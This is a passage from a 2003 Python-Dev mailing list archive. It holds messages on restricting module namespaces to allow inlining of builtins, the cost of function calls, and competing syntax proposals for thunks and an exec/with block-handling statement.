  BAW> suffice.  I can imagine some of the other built-ins /might/ be
  BAW> useful to debuggingly replace, but that's just speculation on
  BAW> my part, and may be yagni.

But it is useful for to replace modules.  For example, if you want to
debug a module that uses the thread module, you can replace it's
"thread" global with something that hooks "start_new_thread."  I think
that pattern is not uncommon.

Jeremy



From greg@cosc.canterbury.ac.nz  Mon Feb  3 22:44:05 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Tue, 04 Feb 2003 11:44:05 +1300 (NZDT)
Subject: [Python-Dev] Acquire/release functionality
In-Reply-To: <20030203180335.I10804@prim.han.de>
Message-ID: <200302032244.h13Mi5u03247@oma.cosc.canterbury.ac.nz>

holger krekel <pyth@devel.trillke.net>:

> I haven't found a way to make assignments optional (in recent
> experiments).  Is this possible with Python's Parser? 

It should be possible to do it the same way as
expressions/assignments are done now, i.e.
parse it as

  with_stmt ::= 'with' <expr> ['=' <expr>] ':' <suite>

and sort it out in the compiler.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From guido@python.org  Mon Feb  3 22:45:01 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 17:45:01 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 17:23:39 EST."
 <15934.60395.439261.853916@slothrop.zope.com>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com>
 <15934.60395.439261.853916@slothrop.zope.com>
Message-ID: <200302032245.h13Mj1423001@odiug.zope.com>

>   GvR> What I proposed was only closing off write access to the
>   GvR> __dict__ so that the setattr code for type module can implement
>   GvR> certain restrictions (e.g. no assignment to attributes named
>   GvR> "len").
> 
> I'd certainly like that feature, except for the times I'd want to
> circumvent it.
> 
> On many occasions I have externally patched a module's namespace for
> debugging.  It's been really convenient to replace some function with
> a wrapper that does some logging or updates a table tracking currently
> used resources.  I've done the same with builtin open/file.  As you
> noted, it seems less useful to override other builtins for this purpose.
> 
> I'd suggest that frozen module namespaces by a feature of -O, except
> that I never use -O.

We really only need to disallow assignment to names that would shadow
builtins that are in fact inlined by the compiler.  open/file wouldn't
be one of these (specifically open/file would be exempted from
inlining, and so would __import__, because these are known special
cases).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Feb  3 22:48:56 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 17:48:56 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 17:38:47 EST."
 <15934.61303.943007.67442@slothrop.zope.com>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com> <15934.60395.439261.853916@slothrop.zope.com> <15934.60850.640072.519404@gargle.gargle.HOWL>
 <15934.61303.943007.67442@slothrop.zope.com>
Message-ID: <200302032248.h13MmuE23033@odiug.zope.com>

> But it is useful for to replace modules.  For example, if you want to
> debug a module that uses the thread module, you can replace it's
> "thread" global with something that hooks "start_new_thread."  I think
> that pattern is not uncommon.

My proposal is to allow rebinding existing globals, just not to allow
binding *new* globals *if* they shadow certain builtins.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From esr@thyrsus.com  Mon Feb  3 22:41:25 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Mon, 3 Feb 2003 17:41:25 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <a05200f16ba6483cf4fda@[63.120.19.221]>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <a05200f11ba647370799d@[63.120.19.221]> <20030203202553.GE5826@thyrsus.com> <a05200f16ba6483cf4fda@[63.120.19.221]>
Message-ID: <20030203224125.GI5826@thyrsus.com>

Dan Sugalski <dan@sidhe.org>:
> Seriously, this is something we'll have to work out with the 
> conference folks. Wouldn't surprise me if they may have someone in 
> mind, or if not we go with some semi-independent person. (Perhaps 
> some bitter Lisp hacker that hates all of us because everyone's more 
> successful than Lisp... :)

If you suggest Paul Graham I'm going to have to hurt you.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From jeremy@zope.com (Jeremy Hylton)  Mon Feb  3 22:51:26 2003
From: jeremy@zope.com (Jeremy Hylton) (Jeremy Hylton)
Date: Mon, 3 Feb 2003 17:51:26 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302032248.h13MmuE23033@odiug.zope.com>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>
 <200302032037.h13Kb4621770@odiug.zope.com>
 <15934.55192.159454.820850@montanaro.dyndns.org>
 <200302032116.h13LGDc22113@odiug.zope.com>
 <20030203224029.G5939@prim.han.de>
 <200302032158.h13Lwsh22396@odiug.zope.com>
 <15934.60395.439261.853916@slothrop.zope.com>
 <15934.60850.640072.519404@gargle.gargle.HOWL>
 <15934.61303.943007.67442@slothrop.zope.com>
 <200302032248.h13MmuE23033@odiug.zope.com>
Message-ID: <15934.62062.280898.443157@slothrop.zope.com>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

  >> But it is useful for to replace modules.  For example, if you
  >> want to debug a module that uses the thread module, you can
  >> replace it's "thread" global with something that hooks
  >> "start_new_thread."  I think that pattern is not uncommon.

  GvR> My proposal is to allow rebinding existing globals, just not to
  GvR> allow binding *new* globals *if* they shadow certain builtins.

Oh!  +1 on that.

just-add-a-future-statement-ly y'rs,
Jeremy



From esr@thyrsus.com  Mon Feb  3 22:51:20 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Mon, 3 Feb 2003 17:51:20 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <a05200f16ba6483cf4fda@[63.120.19.221]>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <a05200f11ba647370799d@[63.120.19.221]> <20030203202553.GE5826@thyrsus.com> <a05200f16ba6483cf4fda@[63.120.19.221]>
Message-ID: <20030203225120.GJ5826@thyrsus.com>

Dan Sugalski <dan@sidhe.org>:
> Seriously, this is something we'll have to work out with the 
> conference folks. Wouldn't surprise me if they may have someone in 
> mind, or if not we go with some semi-independent person. (Perhaps 
> some bitter Lisp hacker that hates all of us because everyone's more 
> successful than Lisp... :)

Huh.  You know, it didn't occur to me that bias could be an issue here.

Not to worry; if Guido loses, I will be just as snarky at him as I would
have been at you.  One of the reasons I like Guido is that I am
confident he would expect no less of me :-).
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From dan@sidhe.org  Mon Feb  3 23:05:16 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Mon, 3 Feb 2003 18:05:16 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030203224125.GI5826@thyrsus.com>
References: <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <200302031918.h13JIE721173@odiug.zope.com>
 <a05200f11ba647370799d@[63.120.19.221]>
 <20030203202553.GE5826@thyrsus.com>
 <a05200f16ba6483cf4fda@[63.120.19.221]>
 <20030203224125.GI5826@thyrsus.com>
Message-ID: <a05200f1cba64a5f951b6@[63.120.19.221]>

At 5:41 PM -0500 2/3/03, Eric S. Raymond wrote:
>Dan Sugalski <dan@sidhe.org>:
>>  Seriously, this is something we'll have to work out with the
>>  conference folks. Wouldn't surprise me if they may have someone in
>>  mind, or if not we go with some semi-independent person. (Perhaps
>>  some bitter Lisp hacker that hates all of us because everyone's more
>  > successful than Lisp... :)
>
>If you suggest Paul Graham I'm going to have to hurt you.

Hey, if we can pitch a pie at him regardless of who wins, I'm OK with it.

Come to think of it, if you want to host it...: )
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From jeremy@zope.com  Mon Feb  3 23:09:29 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: Mon, 3 Feb 2003 18:09:29 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHOELOELAA.tim.one@comcast.net>
References: <20030203191711.GA26891@glacier.arctrix.com>
 <BIEJKCLHCIOIHAGOKOLHOELOELAA.tim.one@comcast.net>
Message-ID: <15934.63145.248557.77300@slothrop.zope.com>

>>>>> "TP" == Tim Peters <tim.one@comcast.net> writes:

  TP> [Neil Schemenauer]
  >> Any opinion on where to spend effort?

  TP> For real life boosts, function/method calls.  Making "len" a
  TP> builtin wouldn't help so much for saving a couple dict lookups
  TP> as it would for avoiding the call machinery, and for callees
  TP> coded in Python that's heavy work.

Do you have any ideas?

IIRC the largest expense in function calls is setting up the frame
object for the new function to use.  I don't think there are any
low-hanging fruit here, because the frame model is pretty deeply
embedded in the interpreter.  It seems like all the work in
PyEval_EvalCodeEx() has to get done sometime.

Jeremy



From graham_guttocks@yahoo.co.nz  Mon Feb  3 23:13:55 2003
From: graham_guttocks@yahoo.co.nz (=?iso-8859-1?q?Graham=20Guttocks?=)
Date: Tue, 4 Feb 2003 12:13:55 +1300 (NZDT)
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <t1wel6t2w3r.fsf@kermit.wreck.org>
Message-ID: <20030203231355.94559.qmail@web10308.mail.yahoo.com>

list-python-dev@ccraig.org (Christopher A. Craig) wrote:
>
> You've managed to fall in both catagories.  Merriam-Webster defines
> "constructive" as "promoting improvement or development" and
> "promoting" as "to contribute to the growth or prosperity of."

And you've managed to convince us that your message has no merit
except to demonstrate that you are a sycophant trying to gain favour
with the Python developers.

I think it's clear given the long, lively, and opinionated discussion
that ensued as result of my message, that the issue is not as cut and
dry as you indicated.

A closed mouth says nothing wrong; a closed mind does nothing right.

=====
Regards,
Graham

http://movies.yahoo.com.au - Yahoo! Movies
- What's on at your local cinema?


From pedronis@bluewin.ch  Mon Feb  3 23:56:15 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 4 Feb 2003 00:56:15 +0100
Subject: [Python-Dev] thunks
References: <200302032228.h13MSQV03118@oma.cosc.canterbury.ac.nz>
Message-ID: <009a01c2cbdf$d6c25240$6d94fea9@newmexico>

From: "Greg Ewing" <greg@cosc.canterbury.ac.nz>
> Guido:
>
> > If we want to support thunks that blend into the scope of their
> > environment as well as thunks that introduce a new local scope, here's
> > one possible way to do it:
>
> Do we actually want both kinds of thunk? Why, exactly?
>

The second kind (lambda) are  essentially just function objects and their
corresponding syntax is just sugar. We need a third too, because 'class' has
still different rules wrt scoping.

The first kind is needed to do even more general things than what 'with' would
allow. From the prososal it seems that now they cannot take parameters.



From andrew@indranet.co.nz  Tue Feb  4 00:03:34 2003
From: andrew@indranet.co.nz (Andrew McGregor)
Date: Tue, 04 Feb 2003 13:03:34 +1300
Subject: [Python-Dev] thunks
In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com>
References: <200302031653.h13Grof20104@odiug.zope.com>
Message-ID: <253720000.1044317014@localhost.localdomain>

--==========1968576916==========
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline


--On Monday, February 03, 2003 11:53:50 -0500 Guido van Rossum=20
<guido@python.org> wrote:

> I still don't have time to read this thread :-(, but I had a new idea
> that I'd like to fly here.
>
> If we want to support thunks that blend into the scope of their
> environment as well as thunks that introduce a new local scope, here's
> one possible way to do it:
>
> Thunk blending in:
>
>   [<variable> =3D] <expression>:
>     <block>
>
> Thunk introducing a new local scope:
>
>   [<variable> =3D] <expression> lambda:
>      <block>
>
> (Never mind the ugly things I've said about lambda in the past. :-)
>
> I'm confident that the parser can distinguish these, and I'm confident
> that the scope blending can be implemented using nested-scope cells.
>
> Adding formal parameters to the second case would go like this:
>
>   [<variable> =3D] <expression> lambda <arguments>:
>      <block>

+1 on all these :-)

Great stuff.

> One concern I have in both cases: I think there are use cases for
> wanting more than one block.  Glyph's example wants to define various
> callbacks for a remote call, and this would need multiple blocks.  I
> think the syntax for this would have to use some kind of keyword-based
> continuation, e.g.
>
>   [<variable> =3D] <expression> lambda:
>     <block>
>   and <expression> lambda:
>     <block>
>   ...
>
> Disclaimer: this is a half-baked idea.
>
> --Guido van Rossum (home page: http://www.python.org/~guido/)

What about:

with:
    n1 =3D x1 lambda:
        <block>
    n2 =3D x2 lambda:
        <block2>
do expression

as a way to pass keyword arguments to expression?  That would do it.  The=20
only issue would then be passing multiple blocks with the same name, a la=20
try: except: except:, but I don't think that's to bad a thing to lose.

Andrew
--==========1968576916==========
Content-Type: application/pgp-signature
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+PwNWHamGxvX4LwIRAvC2AJ9JU/lfC3JvrWz3xO5OagByj+5MHACfXusZ
IgFRlgFgNdf6x3VSWmDUvMM=
=+nwk
-----END PGP SIGNATURE-----

--==========1968576916==========--



From guido@python.org  Tue Feb  4 01:28:38 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 20:28:38 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: "Your message of Mon, 03 Feb 2003 18:09:29 EST."
 <15934.63145.248557.77300@slothrop.zope.com>
References: <20030203191711.GA26891@glacier.arctrix.com>
 <BIEJKCLHCIOIHAGOKOLHOELOELAA.tim.one@comcast.net>
 <15934.63145.248557.77300@slothrop.zope.com>
Message-ID: <200302040128.h141Sck19273@pcp02138704pcs.reston01.va.comcast.net>

> IIRC the largest expense in function calls is setting up the frame
> object for the new function to use.  I don't think there are any
> low-hanging fruit here, because the frame model is pretty deeply
> embedded in the interpreter.  It seems like all the work in
> PyEval_EvalCodeEx() has to get done sometime.

Then that's where we should have a clean fresh look.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From graham_guttocks@yahoo.co.nz  Tue Feb  4 02:45:27 2003
From: graham_guttocks@yahoo.co.nz (=?iso-8859-1?q?Graham=20Guttocks?=)
Date: Tue, 4 Feb 2003 15:45:27 +1300 (NZDT)
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <Pine.SOL.4.53.0301301550030.16656@death.OCF.Berkeley.EDU>
Message-ID: <20030204024527.6641.qmail@web10307.mail.yahoo.com>

Brett Cannon <bac@OCF.Berkeley.EDU> wrote: 
>
> and yes, some people can get a little snappy.

That's an understatement, I think.

> But this list's integrity is very high.

Well, at times I just don't agree. 

> to quote Guido, "bullshit".

Yup, a great example of what I'm talking about.

Interacting with some (not all mind you) of the Python bigwigs 
tends to leave a bad taste in my mouth, in the same manner as 
on the qmail or OpenBSD lists. The problem is not what, but how.

Perception and cultural management of project mailinglists is
extremely important in developing a project community. This is
something that the haskell.org folks for example have really done
right. Haskell mailinglists have a general warm, friendly tone 
that is highly conductive to discourse and community. I wish I
could say the same for Python.

=====
Regards,
Graham

http://movies.yahoo.com.au - Yahoo! Movies
- What's on at your local cinema?


From Anthony Baxter <anthony@interlink.com.au>  Tue Feb  4 02:52:38 2003
From: Anthony Baxter <anthony@interlink.com.au> (Anthony Baxter)
Date: Tue, 04 Feb 2003 13:52:38 +1100
Subject: [Python-Dev] thunks
In-Reply-To: <Pine.LNX.4.44.0302032006040.6876-100000@rnd.onego.ru>
Message-ID: <200302040252.h142qc927014@localhost.localdomain>

>>> Roman Suzi wrote
> 
> What about my idea (I have another posting to  python-dev
> probably unnoticed)
> 
> 
> code_thunk = ```
> if Guido.let_it_fly():
>   print "This is my syntax for inline code block"
> ```

Are these backticks/backquotes? If so, I'm -severalmillion on this.
Backticks are a pain to distinguish from forwards ticks in too many
fonts. Even Guido (in his 'python regrets' talk) dislikes them for
the `foo` shorthand for repr(foo).

Anthony
-- 
Anthony Baxter     <anthony@interlink.com.au>   
It's never too late to have a happy childhood.



From pedronis@bluewin.ch  Tue Feb  4 03:07:56 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 4 Feb 2003 04:07:56 +0100
Subject: [Python-Dev] thunks
References: <200302031653.h13Grof20104@odiug.zope.com>
Message-ID: <013c01c2cbfa$9e3178a0$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
>
> Thunk blending in:
>
>   [<variable> =] <expression>:
>     <block>
>

these need use cases that go beyond what 'with' can do.

If multiple execution of the thunk is allowed and control over break, one usage
would be:

loop:
 <block> # can contain break/continue

instead of:

while 1:
  <block>


Another, if in a program one uses often the if some_cond, e.g.

if ctl.mode == INTERACTIVE:
  <block>

if ctl.mode != INTERACTIVE:
  <block>

one could define:

interactive:
 <block>

notinteractive:
  <block>

...



From ramrom@earthling.net  Tue Feb  4 03:20:26 2003
From: ramrom@earthling.net (Bob Gailer)
Date: Mon, 03 Feb 2003 20:20:26 -0700
Subject: [DB-SIG] Re: [Python-Dev] database APIs
In-Reply-To: <20030203122132.GO912@localhost>
References: <1044217837.11685.17.camel@lothlorien>
 <Pine.LNX.4.44.0302021015460.30571-100000@penguin.theopalgroup.com>
 <1044217837.11685.17.camel@lothlorien>
Message-ID: <5.2.0.9.0.20030203201927.02ea3e30@66.28.54.253>

--=======780035B7=======
Content-Type: text/plain; x-avg-checked=avg-ok-7695760E; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 12:21 PM 2/3/2003 +0000, Luke Kenneth Casson Leighton wrote:
>see http://sf.net/projects/pysqldb.

I feel frustrated when pointed to a package that has no documentation. Is 
there some?

Bob Gailer
mailto:ramrom@earthling.net
303 442 2625

--=======780035B7=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-7695760E
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.445 / Virus Database: 250 - Release Date: 1/21/2003

--=======780035B7=======--



From mwh@python.net  Tue Feb  4 11:04:51 2003
From: mwh@python.net (Michael Hudson)
Date: Tue, 04 Feb 2003 11:04:51 +0000
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030203191711.GA26891@glacier.arctrix.com> (Neil
 Schemenauer's message of "Mon, 3 Feb 2003 11:17:11 -0800")
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
Message-ID: <2mof5spar0.fsf@starship.python.net>

Neil Schemenauer <nas@python.ca> writes:

> Guido van Rossum wrote:
>> I'm in.  Given how low you set your stakes, I don't think you're very
>> confident, so I'd like to call your bluff. :-)
>
> Any opinion on where to spend effort?

There's this field called tp_cache in type objects that's not
currently used...

Also Oren's ideas about a lookdict_namespace sounded interesting
(always interning keys, inserting failure markers, bouncing succeeding
lookups into the first slot examined, IIRC).

Finally, anyone planning on a new VM would be well advised to finish
off the ast-branch work, I'd suggest.

Cheers,
M.

-- 
  Darned confusing, unless you have that magic ingredient coffee, of
  which I can pay you Tuesday for a couple pounds of extra-special
  grind today.                           -- John Mitchell, 11 Jan 1999


From mwh@python.net  Tue Feb  4 11:22:01 2003
From: mwh@python.net (Michael Hudson)
Date: Tue, 04 Feb 2003 11:22:01 +0000
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030203140934.D10804@prim.han.de> (holger krekel's message of
 "Mon, 3 Feb 2003 14:09:34 +0100")
References: <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <059501c2ca31$d6581420$6d94fea9@newmexico>
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
 <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
 <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
 <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
 <20030203140934.D10804@prim.han.de>
Message-ID: <2mlm0wp9ye.fsf@starship.python.net>

holger krekel <pyth@devel.trillke.net> writes:

> Hello,
>
> I'll try to take the discussion about a "unified approach"
> towards 'code block' or thunk handling into a fresh thread
> and present what Michael Hudson truthfully calls 
> "a friendly competing approach". 

I should point out that I stole that phrase from Guido (in PEP 283).

> I think we can may get away with only a "weak" keyword
> and allow the aforementioned encapsulation of execution 
> events into an object like this:
>
>     exec expr [with params]: suite

Gut reaction: ugh!

> where the expression is evaluated to return a
> "thunk" handler with these optional "execution" hooks:
>
>     def __enter__(self):  
>         "before suite start"
>
>     def __except__(self, type, value, tb): 
>         "swallow given exception, reraise if neccessary"
>
>     def __leave__(self):
>         """upon suite finish (not called if __except__ 
>            exists and an exception happened)
>         """
>
> The above "with" parameters (of the form name=expr, comma-separated) 
> are bound in local (or global/nested) *and* handler instance 
> namespace.  The 'suite' is what we call "thunk".
>
> The above logic allows clean timely finalization for
> *multiple* ressources:
>
>     exec autoclose() with f1=open(name1), f2=open(name2, 'w'):
>         for line in f1:
>             ...
>             f2.write(...)

That looks messy.

> which would execute as follows
>
>     a) autoclose() instance is created and stored as the 
>        "thunk"-handler

We need a name for these.  I've been using "monitor" for a while, but
I'm not sure it's that apposite.

>     b) f1/f2 are stored as attributes on the autoclose instance
>
>     c) f1/f2 are put into the local/global namespace (and nested ones
>        if rebinding is allowed)
>
>     d) thunk executes (for line ...)
>
>     e) autoclose 'leave' hook is called (with or without exception)
>        and is implemented like this:
>         
>        def __leave__(self):
>             for obj in self.__dict__.values(): 
>                 obj.close()
>
>     f) thunk handler is removed 

"Too much magic!"

> Because computing 'f1' may succeed but 'f2' can subsequently
> fail the assignments *have to* execute within "autoclose"
> control.  
>
> Now on to the usage of the except hook.  Nice use cases might be
>
>     exec retry(maxretry=3, on=IOError): 
>         # do network io-stuff
> or
>     exec skip_on(AttributeError, TypeError):
>         some_object.notify_hook()
>
> but i am sure there are more.  Exception handling is often
> ugly when inlined with the code.  I think that stating 
> 'exception behaviour' up-front allows to write nice 
> readable constructs. 

I am *still* not convinced that an __except__ hook is worth the pain.
Can you implement those for me?

> __exit__ versus __leave__
> ---------------------------
>
> One remark (mainly to Michael as he does that other 
> patch) about the hook-name __leave__ versus __exit__.
> we may want to eventually allow 'yield' within the
> thunk and then '__exit__' would be misleading.

I guess.  But enter/exit is just such a canonical pairing.  To me,
leave is paired with arrive and arrive/leave doesn't make much sense.

> Here is the use case:
>
>     exec self.mylock:   # would lock/unlock on entering/leaving 
>                         # the generator
>         ...
>         for whatever in something:
>             yield whatever  
>         ...

yields already can't go in blocks with finally statements, right?

Would you propose calling the __enter__ method each time the generator
resumed?

> Or do you think that this (future) use case warrants 
> yet another hook?

Guess :)

> If there is interest i can probably modify my patch 
> to allow all of the proposed syntax so that you could 
> play around with it.  
>
> the next additional idea is not essential for my so-far
> proposal (but hopefully interesting, nonetheless).

I think all these proposals are in danger of bending the language into
a place it should not go.  Still, we should write some PEPs, even if
they wind up rejected.

Cheers,
M.

-- 
  Those who have deviant punctuation desires should take care of their
  own perverted needs.                  -- Erik Naggum, comp.lang.lisp


From mwh@python.net  Tue Feb  4 11:23:49 2003
From: mwh@python.net (Michael Hudson)
Date: Tue, 04 Feb 2003 11:23:49 +0000
Subject: [Python-Dev] Acquire/release functionality
In-Reply-To: <a05111b04ba6464761773@[192.168.1.3]> (john paulson's message
 of "Mon, 03 Feb 2003 10:41:27 -0800")
References: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com>
 <a05111b04ba6464761773@[192.168.1.3]>
Message-ID: <2misw0p9ve.fsf@starship.python.net>

john paulson <munch@acm.org> writes:

> In the case of
>
> with var_1, ... var_N = expr_1, ... expr_N:
>    suite
>
> What happens if one of the expr_k throws an
> exception? 

[...]

> In the interests of KISS, (with a soupcon of
> YAGNI), the single variable form might be
> preferable.

Quite.

Cheers,
M.

-- 
  MARVIN:  What a depressingly stupid machine.
                    -- The Hitch-Hikers Guide to the Galaxy, Episode 7


From pyth@devel.trillke.net  Tue Feb  4 11:54:07 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Tue, 4 Feb 2003 12:54:07 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <2mlm0wp9ye.fsf@starship.python.net>; from mwh@python.net on Tue, Feb 04, 2003 at 11:22:01AM +0000
References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> <20030203140934.D10804@prim.han.de> <2mlm0wp9ye.fsf@starship.python.net>
Message-ID: <20030204125407.R5939@prim.han.de>

Michael Hudson wrote:
> holger krekel <pyth@devel.trillke.net> writes:
> > I think we can may get away with only a "weak" keyword
> > and allow the aforementioned encapsulation of execution 
> > events into an object like this:
> >
> >     exec expr [with params]: suite
> 
> Gut reaction: ugh!

then i guess you rather prefer new keywords.  I thought that there
is a general reluctance to introduce new keywords *and* many
people dislike 'exec' for its existence.  So reusing it
(and we are dealing with execution aspects IMO) makes
some sense to me.

> > where the expression is evaluated to return a
> > "thunk" handler with these optional "execution" hooks:
> >
> >     def __enter__(self):  
> >         "before suite start"
> >
> >     def __except__(self, type, value, tb): 
> >         "swallow given exception, reraise if neccessary"
> >
> >     def __leave__(self):
> >         """upon suite finish (not called if __except__ 
> >            exists and an exception happened)
> >         """
> >
> > The above "with" parameters (of the form name=expr, comma-separated) 
> > are bound in local (or global/nested) *and* handler instance 
> > namespace.  The 'suite' is what we call "thunk".
> >
> > The above logic allows clean timely finalization for
> > *multiple* ressources:
> >
> >     exec autoclose() with f1=open(name1), f2=open(name2, 'w'):
> >         for line in f1:
> >             ...
> >             f2.write(...)
> 
> That looks messy.

as compared to?  I think i have seen messier ideas with all kinds
of brackets and double-colons :-)
 
> > which would execute as follows
> >
> >     a) autoclose() instance is created and stored as the 
> >        "thunk"-handler
> 
> We need a name for these.  I've been using "monitor" for a while, but
> I'm not sure it's that apposite.

So far i'd liked "execution handler" because 'enter/exit/except' are IMHO
execution events which you can hook into.  Do you agree with calling
them 'execution events' or how would you call them? 

> >     b) f1/f2 are stored as attributes on the autoclose instance
> >
> >     c) f1/f2 are put into the local/global namespace (and nested ones
> >        if rebinding is allowed)
> >
> >     d) thunk executes (for line ...)
> >
> >     e) autoclose 'leave' hook is called (with or without exception)
> >        and is implemented like this:
> >         
> >        def __leave__(self):
> >             for obj in self.__dict__.values(): 
> >                 obj.close()
> >
> >     f) thunk handler is removed 
> 
> "Too much magic!"

Hmmm. That seems a bit unfair to me as many other proposals didn't care 
to elaborate the exact sequence.   You probably are refering to the 
"namespace interactions" as the other stuff is probably the same
with any other proposal so far.
 
> > Because computing 'f1' may succeed but 'f2' can subsequently
